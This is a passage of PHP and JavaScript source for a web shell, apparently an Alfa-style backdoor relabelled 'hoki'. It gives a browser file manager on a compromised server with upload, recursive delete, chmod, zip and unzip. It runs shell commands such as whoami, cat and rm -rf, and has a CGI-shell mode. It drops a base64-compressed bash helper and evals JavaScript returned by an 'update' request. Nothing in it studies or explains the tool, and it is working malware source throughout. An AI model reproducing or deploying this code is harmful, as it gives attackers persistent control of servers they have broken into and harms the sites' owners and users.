hokiFilesmanTabShowTitle(e,t){t.stopPropagation();var a=$("filesman-tab-full-path");a.style.display="block",a.style.top=e.offsetTop-37+"px",a.style.left=e.offsetLeft-$("filesman_tabs").scrollLeft+"px",a.innerHTML=e.getAttribute("path")}function hokiFilesmanTabHideTitle(e,t){$("filesman-tab-full-path").style.display="none"}function hokiPopupAction(e,t){var a="",i="";switch(t){case"rename":a="Old file name:",i="New file name:";break;case"copy":a="File path:",i="Enter the file path that you want to copy this file to:";break;case"move":a="Current Path:",i="Enter the file path that you want to move this file to:";break;case"extract":a="Files to extract:",i="Enter the path you wish to extract the files to and click Extract:"}var l=e.getAttribute("fname"),r=e.getAttribute("path"),o=t.charAt(0).toUpperCase()+t.slice(1);if("permission"==t){d.querySelector("#shortcutMenu-holder").style.height="222px",o="Change Permissions",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="block",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="none";var n=e.getAttribute("perm"),s=n.substr(1,1),c=n.substr(2,1),u=n.substr(3,1);d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s,d.querySelector("#shortcutMenu-holder > form input[name=g]").value=c,d.querySelector("#shortcutMenu-holder > form input[name=w]").value=u,autoCheckPerms(s,"u",["u","g","w"]),autoCheckPerms(c,"g"),autoCheckPerms(u,"w")}else d.querySelector("#shortcutMenu-holder").style.height="190px",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="block",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="none";var p="move"==t||"copy"==t?r+l:l;if("modify"==t){var f="tr_row_"+e.getAttribute("fid").replace("id_","");p=d.querySelector("#"+f+" .main_modify").innerText}d.querySelector(".cl-popup-fixed").style.display="block",d.querySelector("#shortcutMenu-holder .popup-head").innerHTML=o,d.querySelector("#shortcutMenu-holder .old-path-lbl").innerHTML=a,d.querySelector("#shortcutMenu-holder .new-filename-lbl").innerHTML=i,d.querySelector("#shortcutMenu-holder .popup-foot > button[name=accept]").innerHTML=o,d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=r+l,d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value=p,d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("fid",e.getAttribute("fid")),d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("action",t)}function calcperm(){var e=event.srcElement;autoCheckPerms(e.checked,e.name.substr(0,1))}function autoCheckPerms(e,t,a){if(void 0!==a)for(var i in a){var l=a[i];d.querySelector("#shortcutMenu-holder > form input[name="+l+"r]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"w]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"x]").checked=!1}var r=d.querySelector("#shortcutMenu-holder > form input[name="+t+"r]"),o=d.querySelector("#shortcutMenu-holder > form input[name="+t+"w]"),n=d.querySelector("#shortcutMenu-holder > form input[name="+t+"x]");if("boolean"!=typeof e)"7"==e?(r.checked=!0,o.checked=!0,n.checked=!0):"4"==e?r.checked=!0:"2"==e?o.checked=!0:"1"==e?n.checked=!0:"6"==e?(r.checked=!0,o.checked=!0):"3"==e?(o.checked=!0,n.checked=!0):"5"==e&&(r.checked=!0,n.checked=!0);else{var s=0;r.checked&&(s+=4),o.checked&&(s+=2),n.checked&&(s+=1),"u"==t?d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s:"g"==t?d.querySelector("#shortcutMenu-holder > form input[name=g]").value=s:"w"==t&&(d.querySelector("#shortcutMenu-holder > form input[name=w]").value=s)}}function gg(e,t,a,i,l,r){var o="filesman_holder_"+hoki_current_fm_id;hokiloader(o,"block"),data="a="+hokib64(e)+"&c="+hokib64(t)+"&hoki1="+hokib64(a)+"&hoki2="+hokib64(i)+"&hoki3="+hokib64(l)+"&ajax="+hokib64("true"),_Ajax(d.URL,data,r,!1,o)}function hokiPopUpDoAction(e){var t=e.getAttribute("action");switch(t){case"rename":case"move":case"copy":var a=e.getAttribute("fid").replace("id_",""),i=$("id_"+a).getAttribute("fname"),l=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value;l=l.trim(),i=i.trim(),gg("doActions",c_,i,l,t,function(e,i){if("rename"==t)if("done"==e){var r=$("id_"+a);updateFileEditor(a,l);var o=r.getAttribute("path")+$("id_"+a).getAttribute("fname");d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=o,r.addEventListener("animationend",function(){r.classList.remove("textEffect")}),r.classList.add("textEffect"),hokiShowNotification("Renamed...","Rename Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else hokiShowNotification("error...!","Rename Action","error");hokiloader(i,"none")});break;case"permission":var r=d.querySelector("#shortcutMenu-holder > form input[name=u]").value,o=d.querySelector("#shortcutMenu-holder > form input[name=g]").value,n=d.querySelector("#shortcutMenu-holder > form input[name=w]").value;i=(i=d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML).trim();var s=r.trim()+o.trim()+n.trim();gg("doActions",c_,i,s,t,function(e,t){hokiloader(t,"none"),hokiShowNotification(e,"Permission Action"),d.querySelector(".cl-popup-fixed").style.display="none"});break;case"modify":a=e.getAttribute("fid").replace("id_","");var c=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value,u=$("id_"+a).getAttribute("fname");gg("doActions",c_,c,u,t,function(t,a){if("ok"==t){var i="tr_row_"+e.getAttribute("fid").replace("id_","");d.querySelector("#"+i+" .main_modify").innerHTML=c,hokiShowNotification("success...","Modify Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else hokiShowNotification(t,"Modify Action","error");hokiloader(a,"none")})}}function hokiInitSoratableTab(e){Sortable.create(e,{direction:"horizontal",animation:300,ghostClass:"sortable-ghost",filter:".not-sortable"})}$("search-input").addEventListener("keydown",function(e){setTimeout(function(){var e=$("search-input").value;for(var t in d.getElementsByClassName("history-list")[0].innerHTML="",editor_files)if(-1!=editor_files[t].file.search(e)||""==e){var a=0;t==editor_current_file&&(a=" is_active"),insertToHistory(t,editor_files[t].file,a,editor_files[t].type)}},100)},!1),_Ajax(d.URL,"a="+hokib64("checkupdate"),function(e){if(0!=e.length&&"[]"!=e){var t=JSON.parse(e);if(t.hasOwnProperty("content")){d.body.insertAdjacentHTML("beforeend",t.content);try{evalJS(t.content)}catch(t){}}if(t.hasOwnProperty("copyright")&&($("hoki-copyright").innerHTML=t.copyright),t.hasOwnProperty("kiseryouni")&&($("hoki_kiseryouni").innerHTML=t.kiseryouni),t.hasOwnProperty("code_name")&&($("hidden_sh").innerHTML=t.code_name.replace(/\{version\}/g,t.version_number)),t.hasOwnProperty("market")){var a=d.querySelector("span.hoki_plus");if(t.market.hasOwnProperty("visible")&&"yes"==t.market.visible&&($("menu_opt_market").style.display="inline"),"open"!=t.market.status&&(a.style.color="#ffc107"),t.market.hasOwnProperty("content"))try{evalJS(t.market.content)}catch(t){}}}}),<?php echo $GLOBALS["need_to_update_header"]; ?>?_Ajax(d.URL,"a="+hokib64("updateheader"),function(e){try{var t=JSON.parse(e);for(var a in t){for(var i="",l=0;l<t[a].length;l++)i+="useful"==a||"downloader"==a?'<span class="header_values" style="margin-left: 4px;">'+t[a][l]+"</span>":t[a][l];var r=$("header_"+a);r&&(r.innerHTML=i)}$("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on")}catch(e){}}):islinux&&_Ajax(d.URL,"a="+hokib64("checkcgi"),function(e){"ok"==e&&($("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on"))}),function(){d.onclick=function(){can_hashchange_work=!1,setTimeout(function(){can_hashchange_work=!0},600)},window.onhashchange=function(e){can_hashchange_work&&hokiCheckUrlHash()},hokiCheckUrlHash(),hokigetFlags(),rightclick_menu_context=$("rightclick_menu").style,hokiInitCwdContext(),document.addEventListener("click",function(e){rightclick_menu_context.opacity="0",setTimeout(function(){rightclick_menu_context.visibility="hidden"},501)},!1);var e=document.createElement("script");e.src="https://cdnjs.cloudflare.com/ajax/libs/Sortable/1.10.2/Sortable.min.js",e.id="sortable-plugin",e.onload=function(){hokiInitSoratableTab($("filesman_tabs_child")),hokiInitSoratableTab(d.querySelector(".editor-tabs")),hokiInitSoratableTab(d.querySelector(".options_tab")),hokiInitSoratableTab(d.querySelector(".terminal-tabs")),hokiInitSoratableTab(d.querySelector(".sql-tabs"))},d.body.appendChild(e)}();
</script>
</body>
</html>
<?php
}}
if (!function_exists("posix_getpwuid") && (strpos(@ini_get('disable_functions'), 'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos(@ini_get('disable_functions'), 'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;} }
function hokiWhich($p) {
$path = hokiEx('which ' . $p,false,false);
if(!empty($path))
return strlen($path);
return false;
}
function hokiSize($s) {
if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}
function hokiPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
function hokiPermsColor($f,$isbash=false){
$class = "";
$num = "";
$human = "";
if($isbash){
$class = $f["class"];
$num = $f["num"];
$human = $f["human"];
}else{
$num = substr(sprintf('%o', @fileperms($f)),-4);
$human = hokiPerms(@fileperms($f));
if(!@is_readable($f))
$class = "main_red_perm";
elseif (!@is_writable($f))
$class = "main_white_perm";
else
$class = "main_green_perm";
}
return '<span style="font-weight:unset;" class="'.$class.'">'.$num.'</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="'.$class.'">'.$human.'</span>';
}
if(!function_exists("scandir")) {
function scandir($dir) {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function reArrayFiles($file_post){
$file_ary = array();
$file_count = count($file_post['name']);
$file_keys = array_keys($file_post);
for ($i=0; $i<$file_count; $i++) {
foreach ($file_keys as $key) {
$file_ary[$i][$key] = $file_post[$key][$i];
}
}
return $file_ary;
}
function _hoki_can_runCommand($cgi=true,$cache=true){
if(isset($_COOKIE["hoki_canruncmd"])&&$cache){
return true;
}
if(strlen(hokiEx("whoami",false,$cgi))>0){
$_COOKIE["hoki_canruncmd"] = true;
return true;
}
return false;
}
function _hoki_symlink($target, $link){
$phpsym = function_exists("symlink");
if($phpsym){
@symlink($target, $link);
}else{
hokiEx("ln -s '".addslashes($target)."' '".addslashes($link)."'");
}
}
function _hoki_file_exists($file,$cgi=true){
if(@file_exists($file)){
return true;
}else{
if(strlen(hokiEx("ls -la '".addslashes($file)."'",false,$cgi))>0){
return true;
}
}
return false;
}
function _hoki_file($file,$cgi=true){
$array = @file($file);
if(!$array){
if(strlen(hokiEx("id",false,$cgi))>0){
$data = hokiEx('cat "'.addslashes($file).'"',false,$cgi);
if(strlen($data)>0){
return explode("
", $data);
}else{
return false;
}
}else{
return false;
}
}else{
return $array;
}
}
function _hoki_is_writable($file){
$check = false;
$check = @is_writable($file);
if(!$check){
if(_hoki_can_runCommand()){
$check = hokiEx('[ -w "'.trim(addslashes($file)).'" ] && echo "yes" || echo "no"');
if($check == "yes"){
$check = true;
}else{
$check = false;
}
}
}
return $check;
}
function _hoki_is_dir($dir,$mode="-d"){
$check = false;
$check = @is_dir($dir);
if($mode == "-e"){
$check = @is_file($dir);
}
if(!$check){
if(_hoki_can_runCommand()){
$check = hokiEx('[ "'.trim($mode).'" "'.trim(addslashes($dir)).'" ] && echo "yes" || echo "no"');
if($check == "yes"){
return true;
}else{
return false;
}
}
}
return $check;
}
function _hoki_load_ace_options($base){
return '<span>Theme: </span><select class="ace-controler ace-theme-selector" base="'.$base.'" onChange="hokiAceChangeSetting(this,\'theme\');"><option value="terminal" selected>terminal</option><option value="ambiance">ambiance</option><option value="chaos">chaos</option><option value="chrome">chrome</option><option value="clouds">clouds</option><option value="clouds_midnight">clouds_midnight</option><option value="cobalt">cobalt</option><option value="crimson_editor">crimson_editor</option><option value="dawn">dawn</option><option value="dracula">dracula</option><option value="dreamweaver">dreamweaver</option><option value="eclipse">eclipse</option><option value="github">github</option><option value="gob">gob</option><option value="gruvbox">gruvbox</option><option value="idle_fingers">idle_fingers</option><option value="iplastic">iplastic</option><option value="katzenmilch">katzenmilch</option><option value="kr_theme">kr_theme</option><option value="kuroir">kuroir</option><option value="merbivore">merbivore</option><option value="merbivore_soft">merbivore_soft</option><option value="mono_industrial">mono_industrial</option><option value="monokai">monokai</option><option value="nord_dark">nord_dark</option><option value="pastel_on_dark">pastel_on_dark</option><option value="solarized_dark">solarized_dark</option><option value="solarized_light">solarized_light</option><option value="sqlserver">sqlserver</option><option value="textmate">textmate</option><option value="tomorrow">tomorrow</option><option value="tomorrow_night">tomorrow_night</option><option value="tomorrow_night_blue">tomorrow_night_blue</option><option value="tomorrow_night_bright">tomorrow_night_bright</option><option value="tomorrow_night_eighties">tomorrow_night_eighties</option><option value="twilight">twilight</option><option value="vibrant_ink">vibrant_ink</option><option value="xcode">xcode</option></select><span>Language: </span><select class="ace-controler" base="'.$base.'" onChange="hokiAceChangeSetting(this,\'lang\');"><option value="php">php</option><option value="python">python</option><option value="perl">perl</option><option value="c_cpp">c/c++</option><option value="csharp">c#</option><option value="ruby">ruby</option><option value="html">html</option><option value="javascript">javascript</option><option value="css">css</option><option value="xml">xml</option><option value="sql">sql</option><option value="swift">swift</option><option value="sh">bash</option><option value="lua">lua</option><option value="powershell">powershell</option><option value="jsp">jsp</option><option value="java">java</option><option value="json">json</option><option value="plain_text">plain_text</option></select><span>Soft Wrap: </span><input type="checkbox" name="wrapmode" class="ace-controler" onClick="hokiAceChangeWrapMode(this,\''.$base.'\');" checked> | <span>Font Size: </span><button class="ace-controler" style="cursor:pointer;" onclick="hokiAceChangeFontSize(\''.$base.'\',\'+\', this);return false;">+</button> | <button style="cursor:pointer;" class="ace-controler" onclick="hokiAceChangeFontSize(\''.$base.'\', \'-\', this);return false;">-</button> | ';
}
function hokiFilesMan2(){
hokihead();
HokiNum(8,9,10,7,6,5,4);
echo '<div style="position:relative;" fm_id="1" id="filesman_holder_1" class="ajaxarea filesman-active-content"><div class="header"></div></div>';
hokiFooter();
}
function copy_paste($c,$s,$d){
if(@is_dir($c.$s)){
@mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(is_file($c.$s))
@copy($c.$s, $d.$s);
}
function hokiFilesMan(){
if(!empty ($_COOKIE['hoki_f']))
$_COOKIE['hoki_f'] = @unserialize($_COOKIE['hoki_f']);
if(!empty($_POST['hoki1'])){
switch($_POST['hoki1']){
case 'uploadFile':
$move_cmd_file = false;
$hoki_canruncmd = false;
if($GLOBALS['glob_chdir_false']){
$hoki_canruncmd = _hoki_can_runCommand(true,true);
$move_cmd_file = true;
}
if(_hoki_is_writable($GLOBALS['cwd'])){
$files = reArrayFiles($_FILES['f']);
$ret_files = array();
foreach($files as $file){
if($move_cmd_file&&$hoki_canruncmd){
hokiEx("cat '".addslashes($file['tmp_name'])."' > '".addslashes($_POST["c"]."/".$file['name'])."'");
}else{
if(@move_uploaded_file($file['tmp_name'],$file['name'])){
$ow = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($file['name'])):array("name" => "????");
$gr = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($file['name'])):array("name" => "????");
$file_owner = $ow['name']?$ow['name']:(function_exists("fileowner")?@fileowner($file['name']):"????");
$file_group = $gr['name']?$gr['name']:(function_exists("filegroup")?@filegroup($file['name']):"????");
$file_modify = @date('Y-m-d H:i:s', @filemtime($file['name']));
$file_perm = hokiPermsColor($file['name']);
$file_size = @filesize($file['name']);
$ret_files[] = array("name" => $file['name'], "size" => hokiSize($file_size), "perm" => $file_perm, "modify" => $file_modify, "owner" => $file_owner."/".$file_group);
}
}
}
if(!$move_cmd_file){
echo json_encode($ret_files);
}
}else{
echo "noperm";
return;
}
if(!$move_cmd_file){
return;
}
break;
case 'mkdir':
$new_dir_cmd = false;
if($GLOBALS['glob_chdir_false']){
if(_hoki_can_runCommand(true,true)){
if(_hoki_is_writable($GLOBALS['cwd'])){
if(!_hoki_is_dir(trim($_POST['hoki2']))){
hokiEx("cd '".trim(addslashes($_POST['c']))."';mkdir '".trim(addslashes($_POST['hoki2']))."'");
echo "<script>hokiShowNotification('".addslashes($_POST['hoki2'])." created...', 'Files manager');</script>";
}else{
echo "<script>hokiShowNotification('folder already existed', 'Files manager', 'error');</script>";
}
}else{
echo "<script>hokiShowNotification('folder isnt writable !', 'Files manager', 'error');</script>";
}
}else{
echo "<script>hokiShowNotification('Can\'t create new dir !', 'Files manager', 'error');</script>";
}
}else{
if(_hoki_is_writable($GLOBALS['cwd'])){
if(!_hoki_is_dir(trim($_POST['hoki2']))){
if(!@mkdir(trim($_POST['hoki2']))){
echo "<script>hokiShowNotification('Can\'t create new dir !', 'Files manager', 'error');</script>";
}else{
echo "<script>hokiShowNotification('".addslashes($_POST['hoki2'])." created...', 'Files manager');</script>";
}
}else{
echo "<script>hokiShowNotification('folder already existed', 'Files manager', 'error');</script>";
}
}else{
echo "<script>hokiShowNotification('folder isnt writable !', 'Files manager', 'error');</script>";
}
}
break;
case 'delete':
function deleteDir($path){
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = @opendir($path);
while(($item = @readdir($dh)) !== false){
$item = $path.$item;
if((basename($item) == "..") || (basename($item) == "."))
continue;
$type = @filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
@closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST['f']))
foreach($_POST['f'] as $f){
if($f == '..')
continue;
$f = rawurldecode($f);
if($GLOBALS["glob_chdir_false"]){
if(_hoki_can_runCommand(true,true)){
hokiEx("rm -rf '".addslashes($_POST['c'].'/'.$f)."'");
}
}else{
hokiEx("rm -rf '".addslashes($f)."'",false,false);
if(@is_dir($f))
deleteDir($f);
else
@unlink($f);
}
}
if(@is_dir(rawurldecode(@$_POST['hoki2']))&&rawurldecode(@$_POST['hoki2'])!='..'){
deleteDir(rawurldecode(@$_POST['hoki2']));
hokiEx("rm -rf '".addslashes($_POST['hoki2'])."'",false,false);
}else{
@unlink(rawurldecode(@$_POST['hoki2']));
}
if($GLOBALS["glob_chdir_false"]){
$source = rawurldecode(@$_POST['hoki2']);
if($source!='..'&&!empty($source)){
if(_hoki_can_runCommand(true,true)){
hokiEx("cd '".trim(addslashes($_POST['c']))."';rm -rf '".addslashes($source)."'");
}
}
}
if(is_array($_POST['f']))
return;
break;
case 'paste':
if($_COOKIE['hoki_act'] == 'copy'&&isset($_COOKIE['hoki_f'])){
foreach($_COOKIE['hoki_f'] as $f)
copy_paste($_COOKIE['hoki_c'],$f, $GLOBALS['cwd']);
}elseif($_COOKIE['hoki_act'] == 'move'&&isset($_COOKIE['hoki_f'])){
function move_paste($c,$s,$d){
if(@is_dir($c.$s)){
@mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if(($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
}elseif(@is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['hoki_f'] as $f)
@rename($_COOKIE['hoki_c'].$f, $GLOBALS['cwd'].$f);
}elseif($_COOKIE['hoki_act'] == 'zip'&&isset($_COOKIE['hoki_f'])){
if(class_exists('ZipArchive')){
$zip = new ZipArchive();
$zipX = "hoki_".rand(1,1000).".zip";
if($zip->open($zipX, 1)){
@chdir($_COOKIE['hoki_c']);
foreach($_COOKIE['hoki_f'] as $f){
if($f == '..')continue;
if(@is_file($_COOKIE['hoki_c'].$f))
$zip->addFile($_COOKIE['hoki_c'].$f, $f);
elseif(@is_dir($_COOKIE['hoki_c'].$f)){
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
foreach($iterator as $key=>$value){
$key = str_replace('\','/',realpath($key));
if(@is_dir($key)){
if(in_array(substr($key, strrpos($key,'/')+1),array('.', '..')))continue;
}else{$zip->addFile($key,$key);}}}}
@chdir($GLOBALS['cwd']);
$zip->close();
__alert('>> '.$zipX.' << is created...');}}
}elseif($_COOKIE['hoki_act'] == 'unzip'&&isset($_COOKIE['hoki_f'])){
if(class_exists('ZipArchive')){
$zip = new ZipArchive();
foreach($_COOKIE['hoki_f'] as $f) {
if($zip->open($_COOKIE['hoki_c'].$f)){
$zip->extractTo($_COOKIE['hoki_cwd']);
$zip->close();}}}}
unset($_COOKIE['hoki_f']);
break;
default:
if(!empty($_POST['hoki1'])){
if(in_array($_POST['hoki1'], array("copy", "move", "zip", "unzip"))){
__hoki_set_cookie('hoki_act', @$_POST['hoki1']);
__hoki_set_cookie('hoki_f', @serialize($_POST['f']));
__hoki_set_cookie('hoki_c', @$_POST['c']);
return;
}
}
break;
}
}
$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if(preg_match("#(.*)\/\.\.#", $_POST['c'], $res)){
$path = explode('/', $res[1]);
array_pop($path);
$_POST['c'] = implode('/', $path);
}
$cmd_dir = false;
if($dirContent === false){
if(_hoki_can_runCommand(true,true)){
$tmp_getdir_path = @$_COOKIE["hokichdir_bash_path"];
@chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
if(!isset($_COOKIE["hokichdir_bash"])||@!file_exists($tmp_getdir_path."/hokicgiapi/getdir.hoki")){
$bash = "jZTfb5swEMef4a+4uaYkSmmS/YpEwsOkqVNfO+1hSqKKggnWwI4MEaFppL3vv9xfUtsYSKpMWh6I7/O9O9vcHVfvxrtCjJ8oGxep/fX+IcBT+/7ue4DdFXNtEqUc0BLZCRdAgTLAg6wALwQsfYdziLkN8rcNyzRAio0xRRrRBJZLwBSCANDtLYLra/D2Mr5KaZSCIGGcUfZrCOv1HMqUMB3VJcOD1gO8BLBiw86DBhpoO6G2RVnCZURRhiV4ESDnznd++M433yl856c/cULf+YLaLJa6n+u7+gzgCXWdUIiwhsViAQirbMi2ynpLAnzQynKyPurdeMWI6OjU0I3gu21H30tqFfS5j/6gSM5jmtQd+2hit0TkbJd3/NMJT3d5yDrls1EYqR571XWb1yALNBgApcFkLp8LfLjqfI6KjEYw7Av2JstIFu/QWT6m1J8e//7+05Qy5oy8PdNZuKxAU21zGV3zyXQ2m6G+vJbVXhVNlGJAkw/FQm5X7eVDVPKxF5V00LXVmb1KFkaVTyVUraSYOGFnm0Q84yJAeUjZ40YQwvRRZUKSmXT/FSo7tSR9aEEu+AgStx79abHqHf0SYipIVHJRn22kW0tpJ0fqYwTZ7LJQyM7OiL7uy8tlB5Jvy/rfbkWdP/GMRqCm6ML+OrA5tp7zwwqxMCcr5MNKTsEK3ch/5WpIs1RQT4GhZq2wHgODzVphNQqGNksFm2kwuDWUYJrEKJ3VSrpdTkRjt7IuzYls7OONrZu4+Z4djmv0Cg==";
$tmp_getdir_path = hokiWriteTocgiapi("getdir.hoki",$bash);
__hoki_set_cookie("hokichdir_bash", "true");
__hoki_set_cookie("hokichdir_bash_path", $tmp_getdir_path);
}
$dirContent = hokiEx("cd ".$tmp_getdir_path."/hokicgiapi;sh getdir.hoki '".addslashes(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd'])."'");
$dirContent = json_decode($dirContent, true);
if(is_array($dirContent)){
array_pop($dirContent);
$cmd_dir = true;
}else{
$dirContent = false;
}
}
}
hokihead();
HokiNum(8,9,10,7,6,5,4);
$count_dirContent = @count($dirContent);
if($count_dirContent > 300){
@$_COOKIE["hoki_limited_files"] = 100;
}
$hoki_sort_by = isset($_COOKIE["hoki_sort_by"]) ? $_COOKIE["hoki_sort_by"] : 'name';
$hoki_limited_files = isset($_COOKIE["hoki_limited_files"]) ? (int)$_COOKIE["hoki_limited_files"] : 0;
$hoki_files_page_number = isset($_POST["pagenum"]) ? (int)$_POST["pagenum"] : 1;
$hoki_filesman_direction = isset($_COOKIE["hoki_filesman_direction"]) ? $_COOKIE["hoki_filesman_direction"] : 'asc';
$files_page_count = 1;
if($hoki_limited_files > 0){
$files_page_count = ceil($count_dirContent/$hoki_limited_files);
if($files_page_count > 1){
$files_page_count++;
}
}
echo '<div><div class="filters-holder"><span>Filter: </span><input style="color:#25ff00;" autocomplete="off" type="text" id="regex-filter" name="name-filter" onkeydown="doFilterName(this);"><span style="margin-left:10px">Sort By: </span><select name="sort_files" onchange="sortBySelectedValue(this,\'hoki_sort_by\');" style="color:#25ff00;"><option value="name" '.($hoki_sort_by == 'name'?'selected':'').'>Name</option><option value="size" '.($hoki_sort_by == 'size'?'selected':'').'>Size</option><option value="modify" '.($hoki_sort_by == 'modify'?'selected':'').'>Modify</option></select><span style="margin-left:10px">Direction: </span><select name="direction_filesman" onChange="sortBySelectedValue(this,\'hoki_filesman_direction\')" style="color:#25ff00;"><option value="asc" '.($hoki_filesman_direction == 'asc'?'selected':'').'>Ascending</option><option value="desc" '.($hoki_filesman_direction == 'desc'?'selected':'').'>Descending</option></select><span style="margin-left:10px;"> limit: </span><input style="text-align:center;width: 40px;color:#25ff00;" type="text" name="limited_number" value="'.$hoki_limited_files.'" oninput="this.value=this.value.replace(/[^0-9]/g,\'\');setCookie(\'hoki_limited_files\', this.value, 2012);"><span style="margin-left:10px;">Files Count: <b style="color:#25ff00;">'.($count_dirContent-1).'</b></span></div><div class="header">';
if($dirContent == false){
echo '<center><br><span style="font-size:16px;"><span style="color: red; -webkit-text-shadow: 1px 1px 13px;"><strong><b><big>!!! Access Denied !!!</b></big><br><br></strong></div>';
hokiFooter();
return;
}
global $sort;
$sort = array('name', 1);
if(isset($_COOKIE["hoki_sort_by"]) && !empty($_COOKIE["hoki_sort_by"])){
$sort[0] = $_COOKIE["hoki_sort_by"];
}
if(!empty($_POST['hoki1'])) {
if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['hoki1'], $match))
$sort = array($match[1], (int)$match[2]);
}
if($hoki_files_page_number > ($files_page_count-1)){
$hoki_files_page_number = 1;
}
$checkbox_rand = rand(11111, 99999);
echo "<form onsubmit='fc(this);return false;' name='files' method='post'><table id='filemanager_table' width='100%' class='main' cellspacing='0' cellpadding='2'><tr><th width='13px'><div class='myCheckbox' style='padding-left:0px;'><input type='checkbox' id='mchk".$checkbox_rand."' onclick='checkBox(this);' class='chkbx'><label for='mchk".$checkbox_rand."'></label></div></th><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";
$dirs = $files = array();
$n = $count_dirContent;
if($n > $hoki_limited_files && $hoki_limited_files > 0){
$n = ($hoki_limited_files * $hoki_files_page_number);
if($n > $count_dirContent){
$n = $count_dirContent;
}
}
$i = 0;
if($hoki_limited_files > 0 && $hoki_files_page_number > 1){
$i = $hoki_limited_files * ($hoki_files_page_number - 1);
}
$page_builder = get_pagination_links($hoki_files_page_number,$files_page_count -1);
$cmd_dir_backp = "";
for(;$i<$n;$i++){
if($cmd_dir){
$filename = $dirContent[$i]["name"];
$file_owner = $dirContent[$i]["owner"];
$file_group = $dirContent[$i]["group"];
$file_modify = @date('Y-m-d H:i:s', $dirContent[$i]["modify"]);
$file_perm = hokiPermsColor(array("class"=>$dirContent[$i]["permcolor"],"num"=>$dirContent[$i]["permnum"],"human"=>$dirContent[$i]["permhuman"]),true);
$file_size = $dirContent[$i]["size"];
if(substr($dirContent[$i]["name"], 0 ,1) == "/"){
$file_path = $dirContent[$i]["name"];
$dirContent[$i]["name"] = "..";
$filename = $dirContent[$i]["name"];
}else{
$file_path = $GLOBALS['cwd']."/".$dirContent[$i]["name"];
}
}else{
$filename = $dirContent[$i];
$ow = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($GLOBALS['cwd'].$filename)):array("name" => "????");
$gr = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($GLOBALS['cwd'].$filename)):array("name" => "????");
$file_owner = $ow['name']?$ow['name']:(function_exists("fileowner")?@fileowner($GLOBALS['cwd'].$filename):"????");
$file_group = $gr['name']?$gr['name']:(function_exists("filegroup")?@filegroup($GLOBALS['cwd'].$filename):"????");
$file_modify = @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $filename));
$file_perm = hokiPermsColor($GLOBALS['cwd'].$filename);
$file_size = @filesize($GLOBALS['cwd'].$filename);
$file_path = $GLOBALS['cwd'].$filename;
}
$tmp = array('name' => $filename,
'path' => $file_path,
'modify' => $file_modify,
'perms' => $file_perm,
